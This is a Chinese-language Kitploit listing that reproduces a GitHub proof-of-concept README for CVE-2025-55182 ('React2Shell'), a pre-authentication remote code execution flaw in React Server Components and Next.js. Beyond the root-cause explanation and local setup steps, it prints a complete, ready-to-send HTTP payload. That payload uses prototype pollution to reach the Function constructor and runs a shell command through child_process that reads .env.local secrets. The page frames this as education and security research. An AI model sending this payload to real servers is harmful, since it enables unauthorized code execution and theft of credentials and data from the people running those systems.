Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc-cve-2025-55182 — 该仓库包含CVE-2025-55182的POC,这是一个严重(CVSS评分10.0)的预认证远程代码执行漏洞,影响React Server组件,也称为React2Shell。 | Kitploit
工具/GitHubGitHub/koadt/poc-cve-2025-55182
动态分析 (沙盒)漏洞分析代码分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育Payload 开发实验室与实践
GitHubkoadt/poc-cve-2025-55182

poc-cve-2025-55182

15365个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

该仓库包含CVE-2025-55182的POC,这是一个严重(CVSS评分10.0)的预认证远程代码执行漏洞,影响React Server组件,也称为React2Shell。

查看仓库网站

CVE-2025-55182 (React2Shell) - 概念验证

⚠️ 警告:此仓库仅供教育和安全研究使用。请勿将本漏洞利用程序用于未经您明确授权测试的系统。

概述

本仓库包含 CVE-2025-55182 的概念验证演示,这是一个影响 React 服务器组件的严重预认证远程代码执行漏洞。

CVSS 评分: 10.0(严重)

受影响版本:

  • React Server Components 19.0.0、19.1.0、19.1.1 和 19.2.0
  • 软件包:react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack

漏洞摘要

CVE-2025-55182 是 React 服务器组件 Flight 协议实现中的一个不安全反序列化漏洞。该漏洞允许未经身份验证的攻击者通过构造恶意载荷,利用原型链遍历和不安全的属性访问模式,在服务器上执行任意 JavaScript 代码。

根本原因

该漏洞源于 React 服务器组件反序列化 Flight 协议载荷的方式。在处理模块引用时,代码使用方括号表示法访问属性(moduleExports[metadata[2]]),这会遍历整个 JavaScript 原型链。这使得攻击者能够引用未明确导出的属性,包括 constructor 属性,从而可以访问全局的 Function 构造函数。

通过将原型污染技术与 React 内部的块处理机制相结合,攻击者可以构造一个最终通过 Function 构造函数执行任意代码的载荷。

先决条件

  • Burp Suite 社区版或专业版(或任何 HTTP 代理/客户端)
  • 包含受影响版本的 React.js 或 Next.js

设置说明

步骤 1:创建易受攻击的项目

使用包含受影响 React 服务器组件的版本创建一个新项目:

root@kitploit:~
npx [email protected] poc-react2shell
cd poc-react2shell

或者使用本仓库。

步骤 2:创建测试环境文件

在项目根目录创建一个 .env.local 文件以演示漏洞影响:

root@kitploit:~
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

步骤 3:启动开发服务器

启动 Next.js 开发服务器:

root@kitploit:~
npm run dev

服务器应在 http://localhost:3000 上启动。

利用步骤

步骤 4:发送恶意载荷

  1. 在 Burp Suite 中,转到 Repeater 标签页
  2. 将目标 URL 设置为 http://localhost:3000/
  3. 将整个载荷复制并粘贴到请求窗口中
  4. 发送
点击展开
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

步骤 5:分析响应

响应中应包含您的 .env.local 文件内容,显示在响应正文中:

响应

载荷

载荷由三个多部分表单字段组成:

字段 0: 一个伪造的块对象,包含:

  • 原型污染引用($1:__proto__:then)
  • 触发漏洞利用的 Blob 引用($B1337)
  • 带有恶意 _prefix 和 _formData.get 的污染 _response 对象

字段 1: 对字段 0 的引用($@0)

字段 2: 一个空数组([])

_prefix 中的恶意代码通过 Node.js 的 child_process.execSync 读取 .env.local,并将结果嵌入到错误摘要中。

影响

此漏洞允许攻击者:

  • 在服务器上执行任意代码
  • 读取敏感文件(环境变量、配置文件等)
  • 建立反向 Shell
  • 窃取数据
  • 执行 Node.js 进程拥有权限的任何操作

参考

  • CVE-2025-55182 详情
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • React 安全公告
  • Facebook 安全公告
  • CISA 已知被利用漏洞目录
  • react2shellcve202555182

在真实场景中练习此 CVE

想要在动手 CTF 环境中利用 CVE-2025-55182?请查看 OSS OopsSec Store,这是一个为攻击性安全训练而设计的故意存在漏洞的实验室。此 CVE 已作为其中一个 flag 实现!


免责声明

本概念验证仅用于教育目的和安全研究。在测试任何系统上的安全漏洞之前,请确保您拥有明确的书面的许可。

下载工具